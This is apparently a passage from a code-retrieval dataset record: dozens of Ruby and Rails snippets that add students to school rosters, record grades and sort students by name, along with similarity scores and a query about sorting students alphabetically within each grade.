"def addStudent(stu_name, grd)\n file_name = \"DB/\" + @name + \".db\"\n to_edit = File.read(file_name)\n File.open(file_name, 'w+') do |file|\n school = JSON.parse(to_edit)\n #students = []\n # #students << stu_name\n # if school['structure'][grd] != nil #school['structure'][grd] || = []\n # school['structure'][grd] << stu_name\n # #puts \"??????\"\n # else\n # students = []\n # students << stu_name\n # school['structure'][grd] = students\n # end\n school['structure'][grd.to_s] ||= []\n school['structure'][grd.to_s] << stu_name\n\n file.write(school.to_json)\n end\n end",
"def enroll(new_student) \n @students.push(new_student) \n end",
"def add_hash_of_students(student_hash)\n student_hash.each do |grade, students|\n @roster[grade] ||= []\n students.each {|student| @roster[grade] << student}\n end\n end",
"def add_student(name, cohort, food)\n @students << {name: name, cohort: cohort.to_sym, food: food}\nend",
"def addStudent(studentId, fName, lName)\n @studentOne = Student.new(studentId, fName, lName)\n end",
"def add_students(name, cohort)\n @students << {name: name, cohort: cohort}\nend",
"def add_students(name, cohort, country, height, hobbie)\n\t@students << {name: name, cohort: cohort.to_sym, country: country.to_sym, height: height.to_sym, hobbie: hobbie.to_sym }\nend",
"def add_grade (student, grade)\n if enrolled?(student)\n @grades[student] << grade\n return true # returns true\n else\n return false\n end\n end",
"def add(list, student,group)\n list[student] = group\nend",
"def enroll(new_student)\n @students.push(new_student)\n end",
"def add_student(name, cohort)\n @students << {name: name, cohort: cohort.to_sym}\nend",
"def student_add\n\t\tname_array = name.split(\" \")\n\t\tname = Student.new(name_array[0], name_array[1])\n\t\tputs \"Enter course you would like to add.\"\n\t\tchoice = gets.chomp.downcase\n\t\tname.enroll(choice) if choice.is_a?(Course)\n\tend",
"def newstudent firstname, lastname, course\n $roster << {firstname: firstname, lastname: lastname, course: course}\nend",
"def add_to_students(name,cohort,country)\n @students << {name: name, cohort: cohort.to_sym, country: country, language: :Ruby}\nend",
"def add_student_to_course(student_id, name, email)\n if Student.find_by_email(email)\n student = Student.find_by_email(email)\n else\n student = Student.new\n student.email = email\n student.student_id = student_id\n student.name = name\n student.university = Faculty.find(faculty_id).university\n end\n\n if self.surveys.count > 0\n add_student_to_course_surveys(student)\n end\n\n self.students << student\nend",
"def add_student(person)\n c = CoursePerson.new type: \"student\"\n c.person = person\n self.course_person << c\n self.save \n end",
"def add(name, grade)\n rosters[grade] <<= name\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n\n #-CONNECT THE SCHOOL AND THE STUDENT IF @school IS PRESENT\n @student.schools << @school if @school\n\n format.html { redirect_to school_student_path(@student.school,@student), notice: 'Student creation successful.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_student(first_name, last_name, local_cohort)\n self.local_cohorts[local_cohort].students.push Student.new(first_name, last_name, local_cohort)\n puts \"#{first_name} #{last_name} has been added to the #{local_cohorts[local_cohort].name} #{self.name} cohort.\"\n end",
"def student_array_adder(name, cohort, hobby, birth_country)\n @students << {name: name, cohort: cohort, hobby: hobby, birth_country: birth_country}\n return @students\nend",
"def add_student( student )\n CourseRegistration.create :user_id => student.id, :course_id => self.id\n end",
"def get_grades(student, school)\t\t\t\t\t\t\t\t\t\t\t\t\t#a. create method to return student's grade\n\tschool[:students].each do |s|\n\t\tputs s[:grade] if s[:name] == student\n\tend\nend",
"def add\n # variable scope\n # no student\nend",
"def build_student(*args)\n @students << {\n name: args[0],\n cohort: args[1],\n dob: args[2],\n height: args[3],\n cob: args[4],\n hobby: args[5]\n }\nend",
"def add_grade(database, student_id, subject_id, grade)\r\n\tdatabase.execute(\"INSERT INTO grades (grade, student_id, subject_id) VALUES (?, ?, ?)\", [grade, student_id, subject_id])\r\nend",
"def add_key(key, value, school)\t\t\t\t\t\t\t\t\t\t\t\t\t#di. create method to add keys & values\n\tschool[key] = value\nend",
"def create\n @student = Student.find(params[:student_id])\n @grade = @student.grades.new(grade_params)\n respond_to do |format|\n if @grade.save\n format.html { redirect_to student_grades_path, notice: 'Grade was successfully created.' }\n format.json { render :show, status: :created, location: @grade }\n else\n format.html { render :new }\n format.json { render json: @grade.errors, status: :unprocessable_entity }\n end\n end\n end",
"def insert_list(p_name, p_cohort)\n @students << {name: p_name, cohort: p_cohort.to_sym}\nend",
"def assign_students(name, cohort)\n @students << {name: name, cohort: cohort.to_sym, country_of_birth: :unknown, height: :unknown, hobbies: :unknown}\nend",
"def initialize(name, grade=9, school)\n ALL << self\n @name = name\n @grade = grade\n @school = school\n end",
"def update_students(name, cohort)\n @students << {name: name, cohort: cohort.to_sym}\nend",
"def write_students\n @students << {name: @name, cohort: :november}\nend",
"def adding_students\n if params[:students_id] == nil\n session[:error] =\"You have to select one or more students.\"\n hasError = 1\n else\n params[:students_id].each{|t|\n student_aux =Student.find(t)\n @student_class.students << student_aux\n }\n end \n end",
"def grade(name, schoolvar)\n schoolvar[:students].each do |students|\n\t\tif students[:name]==name\n\t\tprint students[:grade]\n\t\tend\n\tend\nend",
"def students(grade)\n sorted_roster[grade] || []\n end",
"def create\n @gradework = Gradework.new(gradework_params)\n\n if params.has_key?(:students) and params[:students] != [\"\"]\n students = params[:students]\n @gradework.users << User.find(students)\n end\n\n if params.has_key?(:juries) and params[:juries] != [\"\"]\n juries = params[:juries]\n @gradework.users << User.find(juries)\n end\n\n if params.has_key?(:directors) and params[:directors] =! \"\"\n directors = params[:directors]\n @gradework.users << User.find(directors)\n end\n\n respond_to do |format|\n if @gradework.save!\n format.html { redirect_to @gradework, notice: 'La tesis se creó correctamente' }\n format.json { render :show, status: :created, location: @gradework }\n else\n format.html { redirect_to @gradework, notice: 'La tesis no se pudo crear correctamente' }\n format.json { render json: @gradework.errors, status: :unprocessable_entity }\n end\n end\n end",
"def initialize(name, location, ranking, students, instructors)\n\t# Since we were asked to put in a parameter for each instance variable, here you can pass in a hash as an argument\n\t# for students and instructors and it will be placed in the array. It could also just be left as a blank array \n\t# so you can use the methods defined later to add students (but there is no instructor method).\n\t#OverthinkingIt\n\t\t@name = name\n\t\t@location = location\n\t\t@ranking = ranking\n\t\t@students = [students]\n\t\t@instructors = [instructors]\n\t\tSCHOOLS.push(self)\n\tend",
"def create_new_schools(new_level_school, level, new_schools_array)\n new_level_school.each do |school|\n existing = find_existing_school_building(school, level)\n\n if existing\n new_schools_array << existing\n else\n new_schools_array << school_object(school, level)\n end\n end\n end",
"def create\n @studentgrade = Studentgrade.new(params[:student])\n\n respond_to do |format|\n if @studentgrade.save\n format.html { redirect_to @studentgrade, notice: 'Student was successfully created.' }\n format.json { render json: @studentgrade, status: :created, location: @studentgrade }\n else\n format.html { render action: \"new\" }\n format.json { render json: @studentgrade.errors, status: :unprocessable_entity }\n end\n end\n end",
"def addkey(key, value, school)\n school[key] = value\nend",
"def gradeAll( studentArr, keyString )\n grades = []\n studentArr.each { |studentString |\n grades.push( gradeStudent( studentString, keyString ) )\n }\n grades\n end",
"def grade(student, school)\n school[:students].each do |s|\n return s[:grade] if s[:name] == student\n end\nend",
"def add_csv(csv)\n loop do\n puts \"Adding a new student!\"\n puts \"Please enter the email of the student to be added.\"\n add_email = gets.strip\n puts \"Please enter the first name of the student to be added.\"\n add_fname = gets.strip\n puts \"Please enter the last name of the student to be added.\"\n add_lname = gets.strip\n puts \"Please enter the class section of the student to be added.\"\n add_section = gets.strip\n puts \"Please enter the first major of the student to be added.\"\n add_major1 = gets.strip\n puts \"Please enter the second major of the student to be added. If none, hit enter.\"\n add_major2 = gets.strip\n if add_major2 == \"\"\n add_major2 = nil\n end\n puts \"Please enter the first minor of the student to be added. If none, hit enter.\"\n add_minor1 = gets.strip\n if add_minor1 == \"\"\n add_minor1 = nil\n end\n puts \"Please enter the second minor of the student to be added. If none, hit enter.\"\n m4 = true\n add_minor2 = gets.strip\n if add_minor2 == \"\"\n add_minor2 = nil\n end\n\n # Checks that required fields have been entered and adds student to section hash array\n unless add_fname == \"\" or add_lname == \"\" or add_email == \"\" or add_section == \"\" or add_major1 == \"\"\n student = Student.new(fname = add_fname, lname = add_lname, email = add_email, section = add_section, major1 = add_major1, major2 = add_major2, minor1 = add_minor1, minor2 = add_minor2)\n if csv.has_key?(student.section)\n array = csv[student.section]\n array.push(student)\n csv[student.section] = array\n else\n array = [student]\n csv[student.section] = array\n end\n puts \"Student added!\"\n return csv\n else\n puts \"A required field was left blank! Ensure only specified fields are left blank.\"\n end\n end\nend",
"def create\n @student = @school.students.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to manage_school_school_path(@school), notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_score(name,score)\n @scores[name] = score \n end",
"def create\n @course = Course.find(params[:course_id])\n @grade = @course.grades.create(grade_params)\n if @course.save\n redirect_to @course,\n notice: ' Grade was added successfully.'\n else\n redirect_to @course,\n alert: 'Error creating grade.'\n end\n end",
"def add_key(key,value) \n\t\tSCHOOL[key]=[value]\n\tend",
"def add_students\n @course = Course.find(params[:id])\n to_add = params[:to_be_added]\n if to_add\n\t\t\tnot_added = []\n to_add.each do |stu_id, do_it|\n if do_it == \"yes\"\n student = Student.find(stu_id)\n\t\t\t\t\tif not @course.add_student(student)\n\t\t\t\t\t\t not_added << student.name\n\t\t\t\t\tend\n end\n end\n end\n\t\tif not not_added.empty?\n\t\t\tflash[:notice] = \"Students has already joined this course:\" + not_added.join(\",\")\n\t\tend\n\t\tredirect_to students_admin_course_path(@course)\n end",
"def input_students\n name = get_student_name\n # while name is not empty, repeat this code\n while !name.empty? do\n # add the student hash to the array\n add_students(name, :november)\n puts \"\\nStudent successfully added.\\nNow we have #{@students.count} students\\n \"\n # get another name from the user\n name = STDIN.gets.chomp\n end\nend",
"def input_students\n puts \"Please enter the names of the students you wish to add\"\n puts \"To finish, just hit return twice\"\n # get the first name\n @name = STDIN.gets.chomp\n # while the name is not empty, repeat this code\n while [email protected]? do\n # add the student hash to the array\n write_students\n puts \"Added student, now #{@students.count} students total\"\n # get another name from the user\n @name = STDIN.gets.chomp\n end\nend",
"def create_students\n Student.create!([{\n name: \"Rahul\"\n },\n {\n name: \"Monu\"\n },\n {\n name: \"Nitin\"\n },\n {\n name: \"Sahil\"\n },\n {\n name: \"Kirti\"\n },\n {\n name: \"Preet\"\n },\n {\n name: \"Divya\"\n },\n {\n name: \"Manoj\"\n },\n {\n name: \"Deepanshu\"\n },\n {\n name: \"Aslam\"\n },\n {\n name: \"Rishab\"\n }])\nend",
"def add_new_key(school, ranking, value)\n\tschool[ranking] = value\nend",
"def input_students\r\n puts \"Please enter names of students. \\nAfter each name hit enter. \\nTo exit press enter twice.\"\r\n students = []\r\n name = gets.chomp\r\n \r\n while !name.empty? do\r\n students << {name: name, cohort: \"April\"}\r\n puts \"Added #{students.last[:name]}\"\r\n puts \"There are now #{students.count} students.\"\r\n name = gets.chomp\r\n end\r\n students\r\n end",
"def get_grade(school, name) \n\t\t\t grade = nil\n school[:students].each do |student|\n if student[:name] == name\n grade = student[:grade]\n end\n end\n return grade\nend",
"def grade(student_grade)\n roster[student_grade]\nend",
"def grade(student_grade)\n roster[student_grade]\n end",
"def input_students\n # Create empty array to be filled with students\n students = []\n while true do\n student_hash = Hash.new\n puts \"Please enter the name of the next student\"\n puts \"To finish, just hit return\"\n name = gets.chomp\n return students if name.empty?\n student_hash[:name] = name\n student_hash[:cohort] = get_valid_cohort\n students << student_hash\n puts \"Now we have #{students.length} students\"\n end\nend",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n # Add the course just created to this student's courses, better use the drop down list \n if params[:course] != nil then\n @student.courses << Course.find(params[:course][:id])\n end\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_course_students_associated_with_assignment_grades\n cs = CourseStudent.create()\n ag = AssignmentGrade.create()\n cs.assignment_grades << ag\n assert_equal [ag], CourseStudent.find(cs.id).assignment_grades\n end",
"def add_student\n @student = nil\n @portal_clazz = Portal::Clazz.find(params[:id])\n\n if params[:student_id] && (!params[:student_id].empty?)\n @student = Portal::Student.find(params[:student_id])\n end\n if @student\n @student.add_clazz(@portal_clazz)\n @portal_clazz.reload\n render :update do |page|\n page.replace_html 'students_listing', :partial => 'portal/students/table_for_clazz', :locals => {:portal_clazz => @portal_clazz}\n page.visual_effect :highlight, 'students_listing'\n page.replace_html 'student_add_dropdown', @template.student_add_dropdown(@portal_clazz)\n end\n else\n render :update do |page|\n # previous message was \"that was a total failure\"\n # this case should not happen, but if it does, display something\n # more friendly such as:\n # page << \"$('flash').update('Please elect a user from the list before clicking add button.')\"\n end\n end\n end",
"def create_student(db, name, address, age, program)\n\tdb.execute(\"INSERT INTO school (name, address, age, program) VALUES (?, ?, ?, ?)\", [name, address, age, program])\nend",
"def create_new_student(student_name)\n object = controller_create(:student)\n fail format(\"Student '%s' not created.\", student_name) if object.nil?\n\n PrcLib.info(format(\"'student': '%s' created with id %s\",\n student_name,\n object[:id]))\n object\n end"
] | [
"0.88618064",
"0.87271804",
"0.8682114",
"0.86343634",
"0.8576702",
"0.8544164",
"0.85305893",
"0.8526905",
"0.8506872",
"0.8501374",
"0.8501222",
"0.8491915",
"0.84350276",
"0.8427564",
"0.84203774",
"0.8417378",
"0.84017414",
"0.8355033",
"0.8343341",
"0.83103615",
"0.829334",
"0.82151043",
"0.82127416",
"0.81954527",
"0.8195007",
"0.815712",
"0.80873734",
"0.77996933",
"0.77996933",
"0.7787578",
"0.7763552",
"0.77132",
"0.76128596",
"0.75992167",
"0.74663866",
"0.7208848",
"0.71999276",
"0.7191047",
"0.7180768",
"0.7122737",
"0.704138",
"0.7025034",
"0.7009683",
"0.69951916",
"0.6984247",
"0.6961469",
"0.6952948",
"0.693459",
"0.6932619",
"0.68022835",
"0.6782508",
"0.6744095",
"0.67294526",
"0.6617042",
"0.66104954",
"0.6572866",
"0.6550695",
"0.6520053",
"0.6517816",
"0.6448126",
"0.6367814",
"0.63427573",
"0.63255936",
"0.63023996",
"0.62711173",
"0.6265831",
"0.62213093",
"0.6197897",
"0.6196437",
"0.61571854",
"0.6149589",
"0.61408776",
"0.6058874",
"0.6053013",
"0.6043621",
"0.5978777",
"0.5973283",
"0.5946229",
"0.5934519",
"0.59337753",
"0.59258676",
"0.59244186",
"0.5919742",
"0.59117436",
"0.5903126",
"0.58857614",
"0.585757",
"0.58571637",
"0.58550453",
"0.58381575",
"0.5836061",
"0.5835902",
"0.5833803",
"0.580581",
"0.58055526",
"0.5798316",
"0.5784897",
"0.57780623",
"0.5777683",
"0.57668275"
] | 0.85037917 | 9 |
sort the students in each grade alphabetically by name | def sort
sorted_roster = {} # start with an empty hash
roster.each do |grade, students| # for each key (grade) / value (students array) pair in roster hash
sorted_roster[grade] = students.sort # arrange the students alphabetically within their array
end
return sorted_roster # return hash: sorted_roster = { 9 => [student_9A, student_9B, student_9C],10 => [student_10A, student_10B] }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def sort\n @roster.each do |grade, studen_name|\n studen_name.sort!\n end\n end",
"def sort\n self.roster.each do |grade, students|\n students.sort!\n end\n self.roster\n end",
"def alphabetical_list(students)\n sorted_array = students.sort_by {|person| person[:last_name].downcase}\n sorted_array.each do |student|\n # puts \"#{student[:first_name]} #{student[:last_name]} -- #{student[:cohort]}\"\n end\nend",
"def sort\n sorted = roster.sort_by { |k| k[:grade]}\n sorted.each do |x|\n x[:students].sort_by! { |v| v }\n end\n puts sorted\n end",
"def sort\n sorted = {}\n roster.each do |grade, students|\n sorted[grade] = students.sort\n end\n sorted\n end",
"def sort\n sorted = {}\n roster.each do |grade, students|\n sorted[grade] = students.sort\n end\n sorted\n end",
"def sort\n sorted_list = {}\n @roster.each do |grade, student|\n sorted_list[grade] = student.sort\n end\n return sorted_list\n end",
"def sort\n sorted = {}\n roster.each do |grade, students|\n sorted[grade] = students.sort\n end\n sorted\n end",
"def sort\nstudent_hash = {}\n @roster.each do |grade, students|\nstudent_hash[grade] = students.sort\n end\n student_hash\nend",
"def sort\n sorted = {}\n \n roster.each do |grades, students|\n sorted[grades] = students.sort\n end\n sorted\n # binding.pr\n end",
"def names_by_cohort\n @students.sort_by { |student| student[:cohort] }\nend",
"def students(grade)\n sorted_roster[grade] || []\n end",
"def students\n @students = Person.find(:all, :conditions => {:position => 'Graduate Student'})\n @students.sort! {|a, b| a.last_name.upcase <=> b.last_name.upcase}\n \n respond_to do |format|\n format.html # students.html.erb\n format.xml { render :xml => nil }\n end\n end",
"def sort\n return_hash = {}\n @roster.each {|grade, students| return_hash[grade] = students.sort}\n return_hash\n end",
"def sort\n new_hash = {}\n roster.each do |grade, student|\n new_hash[grade] = student.sort\n end\n new_hash\n end",
"def sort_name\n sort_constituent\n end",
"def test_sort\n\n a_plus = Grade.new(\"A+\")\n a = Grade.new(\"A\")\n b_minus = Grade.new(\"B-\")\n\n ordered = [a_plus,b_minus, a].sort # should return [a, a_plus]\n\n assert(ordered[0] == b_minus)\n assert(ordered[1] == a)\n assert(ordered[2] == a_plus)\n\n end",
"def sort\n sorted_hash = {}\n @roster.each do |grade_key, student_array|\n sorted_hash[grade_key] = student_array.sort\n end\n sorted_hash\n end",
"def index\n @students = Student.order(:family_name).order(:preferred_name).order(:given_name)\n end",
"def sort_alpha\n @assets = @assets.sort_by { |h| h[:name] }\n #redirect_to user_path\n end",
"def sort_by_surname(input, fullname_field)\n input.sort_by { |i| i[fullname_field].downcase.split(/ /)[1] }\n end",
"def sort_by_surname(input, fullname_field)\n input.sort_by { |i| i[fullname_field].downcase.split(/ /)[1] }\n end",
"def uncompleted_students_list(students)\n students = students.to_a.map(&:name).sort!\n students.each_with_index do |student, index|\n students[index] = \"#{index + 1}. #{student}\"\n end.join(\"\\n\")\n end",
"def alphabetize!\n sort! { |a, b| grouped_compare(a, b) }\n end",
"def print(students)\n sorted_students = {}\n students.each do |student|\n cohort = student[:cohort].to_s\n name = student[:name].to_s\n if !sorted_students[cohort]\n sorted_students[cohort] = [name]\n else\n sorted_students[cohort].push(name)\n end\n end\n sorted_students.each do |cohort, students|\n puts cohort.to_s.center(50)\n students.each do |student|\n puts student.to_s.center(50)\n end\n end \nend",
"def sortme( names )\n names.sort\nend",
"def sort_name\n n = \"#{self.last_name}, #{self.first_name}\"\n if self.middle_name.present?\n n += \" #{self.middle_name}\"\n end\n n\n end",
"def readlist\n roster.sort\n roster.each {\"#{student.lastname}, #{student.firstname} - #{student.course}\"}\nend",
"def readlist\n roster.sort\n roster.each {\"#{student.lastname}, #{student.firstname} - #{student.course}\"}\nend",
"def grade(name, schoolvar)\n schoolvar[:students].each do |students|\n\t\tif students[:name]==name\n\t\tprint students[:grade]\n\t\tend\n\tend\nend",
"def lineup_students(students)\n students.sort_by { |x| x.length }\nend",
"def sortByLetter\r\n @counts.sort_by { |v| v }\r\n end",
"def show\n @student_schools = @student.schools.order(:name => :asc)\n end",
"def print_student_list\n @students.sort_by! { |hash| hash[:cohort] }\n @students.each.with_index(1) do |student, index|\n puts \"#{index}. #{student[:name]} (#{student[:cohort]} cohort)\".center(100)\n end\nend",
"def sortme(names)\n names.sort\nend",
"def sortme( names )\n names.sort\nend",
"def sortme( names )\n names.sort\nend",
"def sort_name\n @ole.SortName\n end",
"def top_students(grade_hash, number_of_students)\n scores = averages(grade_hash)\n shortlist = scores.sort_by{|k,v| v}.reverse.take(number_of_students)\n names = shortlist.map{|k,v| k}\nend",
"def test_sort_school_also_sorts_keys\n school.add(\"Jennifer\", 4)\n school.add(\"Kareem\", 6)\n school.add(\"Kyle\", 3)\n assert_equal [3, 4, 6], school.sort.keys\n end",
"def print_students_by_cohort student_arr\n sorted_by_input = {}\n student_arr.each do |x|\n selection = x[:cohort].upcase\n if sorted_by_input[selection] == nil\n sorted_by_input[selection] = []\n end\n sorted_by_input[selection].push(x[:name])\n end\n puts sorted_by_input.flatten\nend",
"def print_by_cohort\n sorted_by_cohort = {}\n @students.each do |student|\n cohort = student[:cohort]\n students_name = student[:name]\n if sorted_by_cohort[cohort] == nil\n sorted_by_cohort[cohort] = []\n end\n sorted_by_cohort[cohort].push(student[:name])\n end\n puts \"Students sorted by cohort:\"\n sorted_by_cohort.each do |cohort, name_array|\n puts \"#{cohort} students:\"\n puts name_array\n end\nend",
"def lineup_students(students)\n students.split(' ').map.sort_by { |x| x.length}#your code here\nend",
"def lineup_students(students)\n students.split(' ').map.sort_by { |x| x.length}#your code here\nend",
"def help\n system 'clear'\n puts Rainbow(\"Here is a list of all available student names:\").blue\n puts \"\"\n @studentsArray.sort_by { |x| x[\"name\"] }.each { |x| print x[\"name\"].split.map(&:capitalize).join(' ') + \", \"}\n puts \"\"\n puts \"\"\n main\nend",
"def sort_students(students, comparator)\n students.sort do |x,y|\n comparator.call(x) <=> comparator.call(y)\n end\nend",
"def print_student_list(students)\n\tstudents_by_cohort = students.sort_by {|a| a[:cohort]}\n\tstudents_by_cohort.each do |student|\n\t\tputs \"#{student[:name]} (#{student[:cohort]}) cohort\".center(@width)\n\tend\nend",
"def grades(options = {})\n should_include_inactive = options.fetch(:include_inactive_students, false)\n relevant_students = should_include_inactive ? self.students : self.students.active\n GradeLevels.sort relevant_students.flat_map(&:grade).compact.uniq\n end",
"def list_students\n #code here \n # First redo hash to list last name first\n # and format into array to get only name and email values\n s = []\n @students.each do |stu|\n \tn = ''\n stu.each do |k,v| \n # *** instead of this process stu[:name] & stu[:email] ***\n #puts \"**key = #{k}, value = #{v}\"\n if (k == :name) #want every other value (only names not emails)\n \tn = v.split(' ')\n tmp = n[0]\n n[0] = n[1]\n n[1] = tmp\n n = n.join(\" \")\n else\n #puts \"pushing #{n}, #{v}\"\n \t#s.push({name: n, email: v})\n \ts.push(n + \", \" + v)\n\t end\n end\n end\n\n #@students.reverse.sort_by {|n| n[:name] } #this sorts by 1st name given the original hash array\n return s.sort\nend",
"def sort_by_sex_then_ln!\n @entries.sort! { |a,b| [a.sex, a.ln] <=> [b.sex, b.ln] }\n end",
"def top_students(grade_hash)\n averages(grade_hash)\n .to_a\n .sort_by { |student| -student[1] }\n .map { |student| student[0] }\nend",
"def index\n @students = Student.all.order( :surname, :name )\n end",
"def index\n @students = Student.all.order(:name)\n end",
"def print_by_letter\n puts \"Enter first letter of name\"\n letter = gets.delete \"\\n\"\n students_by_letter = []\n @students.each do |student|\n if letter == student[:name][0].upcase || letter == student[:name][0].downcase\n students_by_letter << student\n end\n end\n print_students(students_by_letter)\nend",
"def sort_books\n # sort by starting with A - Z \n # iterate over all book titles, looking at the first letter of the title\n # title is alphabetized\n # return the list of books in order\n\n # need all books\n self.all.sort_by { |book| book.title }\n end",
"def student_names\n self.students.map do |student|\n student.name\n end\n end",
"def top_students(grade_hash, number_of_students)\n outArray = []\n grade_hash.each do |name, scores|\n sum, n = 0, 0\n scores.each do |x|\n n += 1\n sum += x\n end\n outArray.push([sum/n, name])\n end\n final_answer = []\n outArray.sort.reverse[0...number_of_students].each do |grade,name|\n final_answer.push(name)\n end\n return final_answer\nend",
"def sort!\r\n @tabs.sort! { |x,y| x.name <=> y.name }\r\n end",
"def show \n @average_age = @instructor.average_age\n @students = @instructor.students.sort_by {|student| student.name}\n end",
"def sort\r\n @roster.each do |key, value|\r\n value.sort!\r\n end\r\n end",
"def yell_at_students\n @students = students.map(&:upcase)\n end",
"def lineup_students(students)\n arr = students.split(\" \")\n arr.sort_by{|x| [x.length, x]}.reverse\nend",
"def student_grade(student_name)\n\t\tSCHOOL[:students].each do |hash|\n\t\t\treturn hash[:grade] if hash[:name]==student_name\n\t\tend\n\tend",
"def get_grade(school, name)\n school[:students].each do |student|\n if name == student[:name]\n puts student[:grade]\n end\n end\nend",
"def sort_list(x, y)\n [protease_name(x), protease_conc(y)]\n end",
"def add_student(name, grade)\r\n roster[grade] = [] unless roster[grade]\r\n roster[grade] << name\r\n end",
"def add_student(name, grade)\n roster[grade]||=[]\n roster[grade] << name\n end",
"def shuffle_students_forward\n grades = GradeLevelType.get_ordered_grades.reverse\n kindergarteners = @breakdown[:TWELFTH_GRADE]\n grades.each { |grade| @breakdown[GradeLevelType.increment(grade, 1)] = @breakdown[grade] unless grade == :TWELFTH_GRADE }\n @breakdown[:KINDERGARTEN] = kindergarteners\n end",
"def add_student(name, grade)\n\t\tif @roster.key?(grade)\n\t\t\t@roster[grade] << name\n\t\telse \n\t\t\t@roster[grade]= []\n\t\t\troster[grade] << name\n\t\tend\n\tend",
"def groups\n @students.sort_by(&:fullname).each_slice((@students.count / 2.0).round).to_a\n end",
"def sort\n @books.sort.each {|item| puts \"#{item[0]} (#{item[1]})\" }\n end",
"def sort_name\n prefix = self.hack_attendances_count > 0 ? 'Hacker ' : 'Non-hacker: '\n \"#{prefix} #{surname} #{first_name}\"\n end",
"def set_sort_name\n self.sort_name = name.to_s.downcase.gsub(/^(a|an|the) /, '').gsub(/[^a-zA-Z0-9]/, '')\n end",
"def sort_by_fitness\n sort_by { |individual| individual.fitness }\n end",
"def sort\[email protected] do |key,value|\n value.sort!\nend \nend",
"def add_student(name, grade)\n @roster[grade] ||= []\n @roster[grade] << name\n end",
"def get_grades(student, school)\t\t\t\t\t\t\t\t\t\t\t\t\t#a. create method to return student's grade\n\tschool[:students].each do |s|\n\t\tputs s[:grade] if s[:name] == student\n\tend\nend",
"def alpha_paginate(all_grade_entry_students, per_page, sort_by)\n total_pages = (all_grade_entry_students.count / per_page.to_f).ceil\n alpha_pagination = []\n\n if total_pages == 0\n return alpha_pagination\n end\n\n alpha_categories = Array.new(2 * total_pages){[]}\n\n i = 0\n (1..(total_pages)).each do |page|\n grade_entry_students1 = all_grade_entry_students.paginate(:per_page => per_page, :page => page)\n\n # To figure out the category names, we need to keep track of the first and last students\n # on a particular page and the first student on the next page. For example, if these\n # names are \"Alwyn, Anderson, and Antheil\", the category for this page would be:\n # \"Al-And\".\n first_student = get_name_to_paginate(grade_entry_students1.first, sort_by)\n last_student = get_name_to_paginate(grade_entry_students1.last, sort_by)\n\n # Update the possible categories\n alpha_categories = self.construct_alpha_category(first_student, last_student,\n alpha_categories, i)\n unless page == total_pages\n grade_entry_students2 = all_grade_entry_students.paginate(:per_page => per_page, :page => page+1)\n next_student = get_name_to_paginate(grade_entry_students2.first, sort_by)\n alpha_categories = self.construct_alpha_category(last_student, next_student,\n alpha_categories, i+1)\n end\n\n i += 2\n end\n\n # We can now form the category names\n j=0\n (1..total_pages).each do |i|\n alpha_pagination << (alpha_categories[j].max + '-' + alpha_categories[j+1].max)\n j += 2\n end\n\n return alpha_pagination\n end",
"def sorted_gems\n # sort with putting gems without average_score at the end\n @gems.sort do |a, b|\n if a.average_score && b.average_score\n a.average_score <=> b.average_score\n else\n a.average_score ? -1 : 1\n end\n end\n end",
"def alphabetic_number_sort2(nums)\n nums.sort { |num1, num2| ENGLISH_NUMBERS[num1] <=> ENGLISH_NUMBERS[num2] }\nend",
"def grade(grade)\n roster.each do |k|\n if k[:grade] == grade\n puts \"The following students are in Grade #{grade}: #{k[:students]}\"\n return k[:students]\n end\n end\n end",
"def return_grade(list, name)\n\tlist.each do |student|\n\t\tif student[:name] == name\n\t\t\treturn student[:grade]\n\t\tend\n\tend\nend",
"def gradeAll( studentArr, keyString )\n grades = []\n studentArr.each { |studentString |\n grades.push( gradeStudent( studentString, keyString ) )\n }\n grades\n end",
"def sort_weight\n if !ec? && (excellent_schools_grade == 'N/A' || excellent_schools_grade == 'New') && recommended?\n # Put Recommended schools that don't have a grade, between C+ and C schools\n 49.5\n else\n school_type_weight\n end\n end",
"def final_name_info\n sort_by_gender_then_last_name + \"\\n\" + sort_by_birthday_then_last_name+ \"\\n\" + sort_by_last_name\nend",
"def top_students(grade_hash, number_of_students)\n grade_hash.transform_values{|score| score.reduce(0,:+)/(score.length)}.sort_by {|student,score| score}.reverse.to_h.keys.first(number_of_students)\nend",
"def shuffle_students_forward_at_school(students_per_grade)\n new_breakdown = Hash.new\n grades = GradeLevelType.get_ordered_grades.reverse\n grades.each do |grade|\n if students_per_grade.has_key?(grade) and students_per_grade.has_key?(GradeLevelType.increment(grade, 1))\n new_breakdown[GradeLevelType.increment(grade, 1)] = students_per_grade[grade]\n if grade == :KINDERGARTEN or grade == :SIXTH_GRADE or grade == :NINTH_GRADE\n new_breakdown[grade] = 0\n end\n end\n end\n new_breakdown\n end",
"def add_student(student_name, grade)\n if @roster[grade]\n @roster[grade] << student_name\n else\n @roster[grade] = []\n @roster[grade] << student_name\n end\n end",
"def sort_group_scores(groups, attr)\n groups\n .map(&:group_scores).flatten # collect all group scores\n .sort_by(&attr).reverse\n end",
"def add_student(name, grade)\r\n if @roster[grade] != nil \r\n @roster[grade] << name\r\n else\r\n @roster[grade] = [name]\r\n end\r\n end",
"def get_grade(school, name) \n\t\t\t grade = nil\n school[:students].each do |student|\n if student[:name] == name\n grade = student[:grade]\n end\n end\n return grade\nend",
"def my_sort_by_name(a,b)\n a = Integer(a.scan(/\\d+/)[0])\n b = Integer(b.scan(/\\d+/)[0])\n return 1 if a>b\n return -1 if a<b\n return 0 if a==b\n end",
"def ordered_abilities\n ability_names.sort\n end",
"def students_by_first_letter(students, x)\n @students.each do |student|\n puts \"#{student[:name]} (#{student[:cohort]} cohort)\".center(100) if student[:name].start_with?(x)\n end\nend",
"def sort_by_alg_header(algs); end",
"def add_student(name, grade)\n #check if empty\n if roster[grade] != nil\n roster[grade] << name\n else\n roster[grade] = [name]\n end\n end",
"def sorted_races\n races.sort\n end",
